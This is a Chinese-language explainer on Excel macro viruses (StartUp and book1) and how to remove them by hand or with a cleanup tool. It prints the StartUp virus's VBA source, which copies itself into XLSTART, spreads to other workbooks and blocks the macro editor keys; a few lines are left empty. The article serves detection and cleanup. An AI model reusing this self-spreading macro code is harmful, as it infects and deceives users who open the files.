宏病毒原理及防范
一、常见宏病毒
1.startup宏病毒
宏病毒其实并不神秘,其工作原理是借用宏表4.0的auto_open事件启动病毒代码的复制和病毒文件的新建,新建的文件常放在xlsrt文件夹下。
然后利用xlstart文件夹文件可以自动启动的原理把病毒代码复制到新打开的excel文件中。
下面先看看startup宏病毒代码吧,注意红字部分。
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And
Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ =
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ =
Workbooks("StartUp.xls").Sheets("StartUp").Copy
before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
2.book1病毒
book1病毒最明显的标志是打开excel时自动跳出一个book1空文件。
这种病毒和startup病毒工作原理相似,但启动方式不太一样,该病毒会在excel文件中添加和复制一个宏表,利用宏表4。
0程序的auto_open事件启动宏表中的宏代码,进行代码复制,病毒文件创建。
打开中了book1病毒文件,在插入-名称里会出现很多陌生的定义名称,这些都是病毒启动名称。
二、病毒专杀
1.手工专杀
strartup.xls病毒。
首先把宏的安全性设置为最高级,禁止所有宏运行。
然后在电脑中搜索xlstart文件夹,找到后把该文件夹中的strartup.xls文件
删除掉,然后逐个打开已中病毒的文件,按atl+f11打开VBE编辑器。
把含病毒的模块删除掉。
book1病毒。
同样先把宏的安全设置为最高级,然后去xlstart文件夹下删除book1名子的所有文件。
然后打开含病毒代码的excel文件,然后插入--名称--定义。
把陌生的定义名称全删除掉。
然后再写一个小程序显示宏表,把宏表删除掉。
2.专杀工具
常见的宏病毒专杀工具有MacroClean(又名“Office病毒专杀”)是毒霸资深反病毒工程师boom的业余作品,用于解决Book1、Startup、Results、Poppy 等Office常见宏病毒。
杀毒效果还不错。